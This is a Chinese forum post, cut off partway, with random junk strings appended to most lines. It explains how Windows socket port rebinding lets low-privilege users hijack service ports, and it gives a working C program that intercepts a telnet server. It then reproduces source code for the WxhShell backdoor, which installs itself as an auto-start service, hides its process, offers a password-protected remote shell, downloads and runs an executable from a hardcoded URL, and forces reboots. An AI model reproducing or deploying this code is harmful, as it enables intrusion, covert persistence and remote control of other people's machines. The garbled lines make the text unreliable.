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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ]JjS$VMauX  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ywAvqT,  
ID2->J  
  saddr.sin_family = AF_INET; FC] *^B  
T0tX%_6`  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ~^1y(-cw  
0[l}@K?  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `!vqT 3p,  
94+^K=lAX  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 bW6| &P}X  
j~k,d.17M  
  这意味着什么?意味着可以进行如下的攻击: Xe %J{  
ks0Q+YW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ?Fl}@EA#M  
n?fy@R  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) R%WY!I8C  
fWmc$r5n](  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ,2fi`9=\  
]ZcivnN#  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  x vs=T  
.jCGtR )%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X[o+Y@bc  
!0,q[|m  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Wlhh0uy  
>K9Ia4I,  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 fEZuv?@  
<?KPyg2  
  #include =7<JD}G  
  #include /y G34) aB  
  #include =HCEUB9Fs  
  #include    B-MS@ <2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ,a{85HLr]  
  int main() rkjnw@x\  
  { Wk0E7Pr  
  WORD wVersionRequested; hI:.Qp`r  
  DWORD ret; ']1n?K=A  
  WSADATA wsaData; IE`3I#v  
  BOOL val; r%.k,FzGZY  
  SOCKADDR_IN saddr; 0V1GX~2  
  SOCKADDR_IN scaddr; r @4A% ql<  
  int err; 7%Y`j/  
  SOCKET s; +-j-)WU?,  
  SOCKET sc; V'&;r'#O  
  int caddsize; &>zH.6%$  
  HANDLE mt; YCbvCw$Ob  
  DWORD tid;   sG`x |%t  
  wVersionRequested = MAKEWORD( 2, 2 ); X<L=*r^C,=  
  err = WSAStartup( wVersionRequested, &wsaData ); >9{?&#]x  
  if ( err != 0 ) { SY +0~5E  
  printf("error!WSAStartup failed!\n"); OT 0c5x  
  return -1; I_r@Y:5{  
  } Me .I>7c  
  saddr.sin_family = AF_INET; s(=wG|   
   $X#y9<bW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 <N vw*yA  
Vgm'&YT  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); IEhD5?  
  saddr.sin_port = htons(23); |8k1Bap`z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) = wD#H@h  
  { /Q;wz!V$  
  printf("error!socket failed!\n"); q 6>eb  
  return -1; L BbST!  
  } "N}t =3i$  
  val = TRUE; h^\vk!Q-d  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,.<mj !YE  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) OIP]9lM$nC  
  { ?@ oF@AEx=  
  printf("error!setsockopt failed!\n"); KW .4 9  
  return -1; cqG6di7#  
  } <+k&8^:bi  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; EV?}oh"x  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 H>C bMz1u  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 =Wcvb?;*  
}p~2lOI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) l8oaDL\f  
  { [Z$H <m{c-  
  ret=GetLastError(); B7 s{yb  
  printf("error!bind failed!\n"); %zcA|SefP  
  return -1; uV5uZ  
  } d6J/)nl  
  listen(s,2); v6*0@/L M  
  while(1) MNu0t\`p4  
  { Zonjk%tC  
  caddsize = sizeof(scaddr); ;QBS0x\f@  
  //接受连接请求 : "85w#r  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); s)E  \  
  if(sc!=INVALID_SOCKET) }X)vktE+|  
  { 296}LW  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sycAAmH<  
  if(mt==NULL) yqx5_}  
  { 4,)9@-|0R  
  printf("Thread Creat Failed!\n"); u9!  ?  
  break; ]DVr-f ~  
  } \qG ?'Iy  
  } bIU.C|h@  
  CloseHandle(mt); (7R?T}  
  } y#GHmHeh  
  closesocket(s); Cy;UyZ  
  WSACleanup(); q}LDFsU  
  return 0; i\sBey ND"  
  }   >bW=oTFz  
  DWORD WINAPI ClientThread(LPVOID lpParam) T-] {gc  
  { ? Lg(,-:  
  SOCKET ss = (SOCKET)lpParam; joe)b  
  SOCKET sc; d/; tq  
  unsigned char buf[4096]; cw<I L  
  SOCKADDR_IN saddr; *z~,|DQ(A  
  long num; Cab.a)o  
  DWORD val; t7]j6>MK3q  
  DWORD ret; F rc  kA  
  //如果是隐藏端口应用的话,可以在此处加一些判断 & P-8_I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   *JJ8\R&P0  
  saddr.sin_family = AF_INET; jYp!?%!  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ?%6oM  
  saddr.sin_port = htons(23); 4zyQ"?A~  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1iF=~@Nz_  
  { Pe _O(  
  printf("error!socket failed!\n"); "V p nr +6  
  return -1; 9B0ON*`  
  } .!o]oM U/  
  val = 100; N68mvBe  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mUg :<.^  
  { A*OqUq/H`;  
  ret = GetLastError(); IJ Jp5[w  
  return -1;  V9) /  
  } gc A:Q4  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `]KX`xGK  
  { -pC'C%Q  
  ret = GetLastError(); |3]/C rR_  
  return -1; ~Zr}QO}G  
  } O*~,L6# }  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &E&~9"^hQL  
  { Pe@# 6N`  
  printf("error!socket connect failed!\n"); Y9^l|,bm5  
  closesocket(sc); kE:[6reG  
  closesocket(ss); cUR :a @  
  return -1; ~(R=3  
  } 9S%5 Z>  
  while(1) So 1TH%  
  { aj5HtP-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 'gf[Wjb,%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 g#$ C8k  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 oP,*H6)i  
  num = recv(ss,buf,4096,0); Hhknjx  
  if(num>0) A)U"F&tvm  
  send(sc,buf,num,0); v5M4Rs&t  
  else if(num==0) #tV1?q  
  break; M/W"M9u  
  num = recv(sc,buf,4096,0); Gn2{C%  
  if(num>0) m!xvWqY+  
  send(ss,buf,num,0); ]d1'5F][H  
  else if(num==0) "-&K!Vfs  
  break; y RxrfAdS  
  } Vgj#-7bdyi  
  closesocket(ss); 5&n:i,  
  closesocket(sc); uRb48Qy2  
  return 0 ; => (g_\  
  }  R0Vt_7  
(l99a&] t  
DzpWU8j  
========================================================== HA0!>_I dC  
:Qge1/  
下边附上一个代码,,WXhSHELL FOG{dio  
RhowhQ)G  
========================================================== \foThLx  
8$}<4 `39  
#include "stdafx.h" }k }=e  
 nYx /q  
#include <stdio.h> @\g}I`_M  
#include <string.h> pq) =  
#include <windows.h> .) Ej#mk  
#include <winsock2.h> k?fz @H8D(  
#include <winsvc.h> ,?8a3%  
#include <urlmon.h> TQ(q [:>  
IH`Q=Pj  
#pragma comment (lib, "Ws2_32.lib") FDl/7P`b(  
#pragma comment (lib, "urlmon.lib") jF?0,g  
\ *t\=4  
#define MAX_USER   100 // 最大客户端连接数 tNY;wl:wp  
#define BUF_SOCK   200 // sock buffer XY'=_5t  
#define KEY_BUFF   255 // 输入 buffer fJ*^4  
O<$w-(  
#define REBOOT     0   // 重启 d ~ M;  
#define SHUTDOWN   1   // 关机 .:?v;rYk{  
E>_Rsw *  
#define DEF_PORT   5000 // 监听端口 l!,tssQ  
GKoYT{6  
#define REG_LEN     16   // 注册表键长度 |XB<vj07G  
#define SVC_LEN     80   // NT服务名长度 ql@2<V{  
J,W $\V]p  
// 从dll定义API toY_1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^&<M""Z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); c[-N A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7rdmj[vu  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Nr*l3Z>LD  
&| (K#|^@  
// wxhshell配置信息 "pDU v^ie  
struct WSCFG { ;T^s&/>E  
  int ws_port;         // 监听端口 ={B C0,  
  char ws_passstr[REG_LEN]; // 口令 i431mpMa  
  int ws_autoins;       // 安装标记, 1=yes 0=no T:Cq}4k<  
  char ws_regname[REG_LEN]; // 注册表键名 F${sEtH  
  char ws_svcname[REG_LEN]; // 服务名 Qf_N,Bq{a  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |mH* I  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ya2sS9^T[  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,WE2.MWR  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `/WxEu3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" C|]c#X2t3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ajycYk9<m  
}uDpf0;^  
}; F$8:9eL,T  
3Ws(],Q  
// default Wxhshell configuration ~u*4k:2H  
struct WSCFG wscfg={DEF_PORT, ~3s ?.[}d  
    "xuhuanlingzhe", Y^]n>X  
    1, YW7w>}aW  
    "Wxhshell", % f;v$rsZ  
    "Wxhshell", RJ?)O#}  
            "WxhShell Service", "[ S[vkI  
    "Wrsky Windows CmdShell Service", CG%bZco((  
    "Please Input Your Password: ", mPA)G,^  
  1, GSRf/::I}4  
  "http://www.wrsky.com/wxhshell.exe", !PIg ,  
  "Wxhshell.exe" q;9X8 _  
    }; p.:|Z-W$  
&W>\Vl1  
// 消息定义模块 f hK<P_}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ;SXkPs3q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "7sv@I_j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BQfnoF  
char *msg_ws_ext="\n\rExit."; )Cdw_Yx  
char *msg_ws_end="\n\rQuit."; B9"d7E#wHF  
char *msg_ws_boot="\n\rReboot..."; Sv#MlS>  
char *msg_ws_poff="\n\rShutdown..."; N-l`U(Z~P  
char *msg_ws_down="\n\rSave to "; yM 7{v$X0  
L$Z!  
char *msg_ws_err="\n\rErr!"; i5r<CxS  
char *msg_ws_ok="\n\rOK!"; rTR$\ [C  
\Hb!<mrp  
char ExeFile[MAX_PATH]; <J d!`$  
int nUser = 0; jIaaNO)  
HANDLE handles[MAX_USER]; 2}<tzDI'  
int OsIsNt; N%Bl+7,q  
B\ 'rxbH  
SERVICE_STATUS       serviceStatus; CY?J$sN  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; EC\@$Fg  
$x }R2  
// 函数声明 :'r* 5EX  
int Install(void); |gV~U~A]  
int Uninstall(void); L/fXP@u  
int DownloadFile(char *sURL, SOCKET wsh); ;*rGZ?%*  
int Boot(int flag); V(cU/Aia^  
void HideProc(void); l8E))oz1T  
int GetOsVer(void); 0-PT%R  
int Wxhshell(SOCKET wsl); q2#Ebw %]  
void TalkWithClient(void *cs); `0ZH=*P  
int CmdShell(SOCKET sock); pOK=o$1V8  
int StartFromService(void); ?n<F?~  
int StartWxhshell(LPSTR lpCmdLine); "6]oi*_8  
{#+K+!SvDX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); G9x l-ag+z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MY{Kq;FvRP  
"`K_5"F  
// 数据结构和表定义 #reR<qp&]  
SERVICE_TABLE_ENTRY DispatchTable[] = vgc~%k62c  
{ Yjo$vQi  
{wscfg.ws_svcname, NTServiceMain}, <nJGJ5JJ  
{NULL, NULL} tV4yBe<``  
}; dZ" }wKbO  
1]>JMh%X9t  
// 自我安装 H.?`90IQ  
int Install(void) 4r;le5@  
{ e| C2/U-  
  char svExeFile[MAX_PATH]; hcU^!mp  
  HKEY key; CXn?~m&K  
  strcpy(svExeFile,ExeFile); 8]&Fu3M^  
>CG;df<~  
// 如果是win9x系统,修改注册表设为自启动 >#dLT~[\a  
if(!OsIsNt) { Z3o HOy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { x=0Ak'1M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1f3g5y'z5  
  RegCloseKey(key); k4&adX@Y  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lYe2;bu  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dDiy_Q6  
  RegCloseKey(key); &pl)E$Y  
  return 0; `Zp*?  
    } (M;d*gN r  
  } 5<X"+`=9  
} ?p6@uM\Q7  
else { 8Ud.t =2  
h_X'O3r  
// 如果是NT以上系统,安装为系统服务 ,6y.wNb:F  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); FXk*zXn6  
if (schSCManager!=0) [*K9V/  
{ y=8KNseW|  
  SC_HANDLE schService = CreateService 8F\'? 7  
  ( B$c'^ )  
  schSCManager, % A 5s?J?  
  wscfg.ws_svcname, L?N: 4/0;!  
  wscfg.ws_svcdisp, <> HI(6\@Z  
  SERVICE_ALL_ACCESS, D0\*WK$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %>nAPO+e  
  SERVICE_AUTO_START, F6{ O  
  SERVICE_ERROR_NORMAL, &: LE]w  
  svExeFile, /W>?p@j+K  
  NULL, ;t N@  
  NULL, v3~`1MM  
  NULL, &%3}'&EBv  
  NULL, T#E,^|WEk  
  NULL Ku6ndc  
  ); cl23y}J_?  
  if (schService!=0) u<"-S63+  
  { y[f%0*\B  
  CloseServiceHandle(schService); l [ m_<1L  
  CloseServiceHandle(schSCManager); C^JtJv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /"!ck2d&1  
  strcat(svExeFile,wscfg.ws_svcname); WO69Wo\C  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -iy17$  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); }K.)yv n  
  RegCloseKey(key); V 7 p{'C   
  return 0; |p/[sD+M  
    } $XyDw|z[  
  } s Wj:m)  
  CloseServiceHandle(schSCManager); {o'(_.{  
} "@+Z1k-8U  
} {JQV~rfh`  
,~=+]9t  
return 1; UM1h[#?&V)  
} d|tNn@jN  
| v>W  
// 自我卸载 ME*zMLoF+  
int Uninstall(void) Ng&K5Z/  
{ d<] eJ{  
  HKEY key;  1A]   
yqb$,$  
if(!OsIsNt) { aB&a#^5CI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gW G>}M@  
  RegDeleteValue(key,wscfg.ws_regname); N+UBXhh  
  RegCloseKey(key); 4fL>Ou[YuX  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \J~@r1  
  RegDeleteValue(key,wscfg.ws_regname); OS~Z@'Eg  
  RegCloseKey(key); Fyz1LOH[X  
  return 0; UZJs!#P  
  } MA=gCG/JD  
} d<_IC7$u>  
} F6{Q1DqI  
else { #cl|5jm+m#  
IjPt JwW`A  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y,KSr|vG  
if (schSCManager!=0) ){J,Z*&  
{ R,hwn2@B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gfXit$s  
  if (schService!=0) /u"K`y/*j\  
  { utdus:B#0  
  if(DeleteService(schService)!=0) { 0d,&)  
  CloseServiceHandle(schService); |@D%y&  
  CloseServiceHandle(schSCManager); 0VgsV;  
  return 0;  *% ]&5  
  } w`Cs,  
  CloseServiceHandle(schService); mnYzn[d3U  
  } *]S&V'Di  
  CloseServiceHandle(schSCManager); }1Hy[4B(k\  
}  ~Ctq  
} {tXyz[;i1}  
Wh?3vZ^  
return 1; T ^`R  
} yEL5U{  
@vi;P ^1!  
// 从指定url下载文件 F^DDN7AKH  
int DownloadFile(char *sURL, SOCKET wsh) bmRp)CYd  
{ XJ1<!tl  
  HRESULT hr; Vg`32nRN  
char seps[]= "/"; yD^Q&1  
char *token; c_6~zb?k+m  
char *file; QlnI&o  
char myURL[MAX_PATH]; $=!_ !tr  
char myFILE[MAX_PATH]; #"JtH"pF  
!y;xt?  
strcpy(myURL,sURL); vcp[$-$QGJ  
  token=strtok(myURL,seps); KFHcHz  
  while(token!=NULL) l !R >I7  
  { 78zwu<ET  
    file=token; D89 (u.h  
  token=strtok(NULL,seps); I|P#|0< 2  
  } 0e~4(2xK  
Q$S|LC  
GetCurrentDirectory(MAX_PATH,myFILE); D14i]  
strcat(myFILE, "\\"); qAVZ&:#  
strcat(myFILE, file); O&PrO+&  
  send(wsh,myFILE,strlen(myFILE),0); jW.IkG[|  
send(wsh,"...",3,0); WD'[|s\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); m@c\<-P  
  if(hr==S_OK) /80RO:'7  
return 0; \ci[<CP  
else >f~y2YAr  
return 1; c ^+{YH;k  
}C{wGK+o[  
} -]Q6Ril  
:8Ql (I  
// 系统电源模块 I#:4H2H6  
int Boot(int flag) -*0U&]T  
{ |s[k= /~"  
  HANDLE hToken; iFB {a?BE  
  TOKEN_PRIVILEGES tkp; iy,jq5uw  
j !rQa^   
  if(OsIsNt) { ":Ll. =!  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kKNrCv@64d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 6tT*b@/_o  
    tkp.PrivilegeCount = 1; y[~w2a&+  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; l%xjCuuhU  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gY!#=?/S  
if(flag==REBOOT) { ,gbQqoLV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #s]`jdc  
  return 0; H.s:a#l?  
} W"H*Ad(V  
else { ,mvU`>Ry  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) LLW\1 cxi  
  return 0; N:e5=;6s  
} 5| bc*iqU  
  } C1SCV^#  
  else { $n9Bp'<  
if(flag==REBOOT) { {-e|x&-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) k|F TT  
  return 0;  <sC.  
} @xPWR=Lb  
else { <lHVch"(^$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) M@78.lPS  
  return 0; ~BD 80s:f  
} r2xIbZ  
} m\ (crkN  
#TKByOcD2!  
return 1; )Vnqz lI5  
} =S}SZYw l  
Ld:U~M-  
// win9x进程隐藏模块 Ny)N  
void HideProc(void) nkTu/)or  
{ qK12:  
n0%]dKCB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3YOYlb %j  
  if ( hKernel != NULL ) *Bm _  
  { zDx*R3%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7xy[;  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 1;N5@0%p  
    FreeLibrary(hKernel); E [b6k&A  
  } 1|/]bffg!c  
iF'qaqHWY4  
return; !1cVg ls|  
} jK9#. 0  
 hNF.  
// 获取操作系统版本 kB $?A8Olu  
int GetOsVer(void) ;7w4BJcq']  
{ eg Zb)pP  
  OSVERSIONINFO winfo; 4vbtB2  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G [$u`mxV^  
  GetVersionEx(&winfo); /r@~"R x'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h;?H4j  
  return 1; 4<Q^/-W  
  else Rx%SeM2  
  return 0; ;<)<4N"  
} )$7-CNWr~  
Emx`+9  
// 客户端句柄模块 KBkS>0;X  
int Wxhshell(SOCKET wsl) T+U,?2nF:  
{ >,)tRQS  
  SOCKET wsh; N=@Nn)  
  struct sockaddr_in client; 97SOa.@  
  DWORD myID; q}0xQjpo  
Q/<?v!h{  
  while(nUser<MAX_USER) XpU%09K  
{ q7u bRak  
  int nSize=sizeof(client); oVYW '~OID  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); , UiA?7k  
  if(wsh==INVALID_SOCKET) return 1; =9y&j-F  
rf]'V Jg#3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?A`8c R=)I  
if(handles[nUser]==0) c#YW>(  
  closesocket(wsh); }6!*H!  
else 40)Ti  
  nUser++; T99\R%  
  } }{( J *T  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +JrbC/&  
(n0h#%  
  return 0; mcqLN5  
} .*W_;Fo  
S @[B?sNj  
// 关闭 socket 6 r}R%{  
void CloseIt(SOCKET wsh) /<-@8CC<  
{ @dx$&;w  
closesocket(wsh); C])b 3tM,7  
nUser--; \1R<GBC4  
ExitThread(0); QkU6eE<M*  
} (D1$&  
moT*r?l  
// 客户端请求句柄 k;c>=B)e  
void TalkWithClient(void *cs) ^I]A@YNni  
{ eUeOyC  
N^;rLrm*  
  SOCKET wsh=(SOCKET)cs; C6ry]R@  
  char pwd[SVC_LEN]; (f `zd.  
  char cmd[KEY_BUFF]; {]V+C=`  
char chr[1]; k2Y *  
int i,j; ?|,-Bft3  
~![J~CkPS  
  while (nUser < MAX_USER) { FvVR \a  
N~t4qlC/  
if(wscfg.ws_passstr) { %MH!L2|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^a{cK  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |E5\_Z  
  //ZeroMemory(pwd,KEY_BUFF); $2'Q'Mx[gd  
      i=0; v3 ]mZ}W$  
  while(i<SVC_LEN) { !bg2(2z  
*p Q'w  
  // 设置超时 }{S f*  
  fd_set FdRead; yirQ  
  struct timeval TimeOut; 9w:9XziT  
  FD_ZERO(&FdRead); bj$VYS"kY  
  FD_SET(wsh,&FdRead); 1Q>D^yPI[  
  TimeOut.tv_sec=8; Y `ySNC  
  TimeOut.tv_usec=0; CS|al(?~  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); %.[jz,;)  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xq-TT2}<L  
sm9/sX!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); u-%|ZSg  
  pwd=chr[0]; !Un &OAy.!  
  if(chr[0]==0xd || chr[0]==0xa) { _Z{EO|L  
  pwd=0; P'Diie  
  break; 8k|&&3_[?  
  } NL} Q3Vv1.  
  i++; }ofx?s}  
    } L-z9n@=8\  
Gw1Rp  
  // 如果是非法用户,关闭 socket N&jHU+{OU  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,!7\?=G6}v  
}  'VzYf^  
` 5lW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @:%p#$V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Y~"5HP|  
c[<>e#s+;  
while(1) { 8o%g2 P9.  
rGIf/=G^r  
  ZeroMemory(cmd,KEY_BUFF); $z48~nu@ j  
TkyP_*  
      // 自动支持客户端 telnet标准   XSoHh-  
  j=0; 4Mck/i2  
  while(j<KEY_BUFF) { CEHtr90P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B+r$_L&I  
  cmd[j]=chr[0]; #Bo3 :B8  
  if(chr[0]==0xa || chr[0]==0xd) { (N[R`LN  
  cmd[j]=0; /{71JqFis  
  break; U6x$R O!  
  } o>i@2_r\&H  
  j++;  TnXx;v  
    } (mOL<h[)IP  
M,we9];N  
  // 下载文件 Q@0Zh, l  
  if(strstr(cmd,"http://")) { 3]wV 1<K  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); KJ#SE|  
  if(DownloadFile(cmd,wsh)) oGvk,mh"(  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); e~P4>3  
  else mIh >8))E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  hSgH;k  
  } e]DuV)k&  
  else { Bj*\)lG<  
qac8zt#2 C  
    switch(cmd[0]) { {v>8Kp7_R  
  GJTakhj3  
  // 帮助 [~{'"-3L0  
  case '?': { ,+GS.]8<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); PP&9ORG  
    break; [x8_ax} w  
  } 1G<S'd+N  
  // 安装 .Q5zmaA]  
  case 'i': { )j\9IdkU;y  
    if(Install()) T-a [  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [MXyOE  
    else 5hj _YqQ7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;FnU[Q`M#L  
    break; C/#?S=w`4  
    } ;6}> Shs  
  // 卸载 1uco{JX<S  
  case 'r': { *)D$w_06S  
    if(Uninstall()) 2|\WaH9P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); O<()T6  
    else \&\U&^?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D5"Xjo*  
    break; MN^d28^/  
    } m(KBg'kQ  
  // 显示 wxhshell 所在路径 w\lc;4U   
  case 'p': { \N[2-;[3  
    char svExeFile[MAX_PATH]; >J) 9&?  
    strcpy(svExeFile,"\n\r"); 8DGPA  
      strcat(svExeFile,ExeFile); ":!1gC  
        send(wsh,svExeFile,strlen(svExeFile),0); XImX1GH  
    break; 3Pgld*i7  
    } ^y.|KA3[  
  // 重启 !S#K6:  
  case 'b': { MGLcM&oR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~B\O{5W  
    if(Boot(REBOOT)) ;pt.)5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hV}C.- 6h  
    else { 5Zuk`%O  
    closesocket(wsh); ^GnR1.ux  
    ExitThread(0); IC:>60A,]  
    } uNf97*~_  
    break; e7r3o,!  
    } 9c{T|+ ]  
  // 关机 5;@2SY7 ,  
  case 'd': { js;k,`  
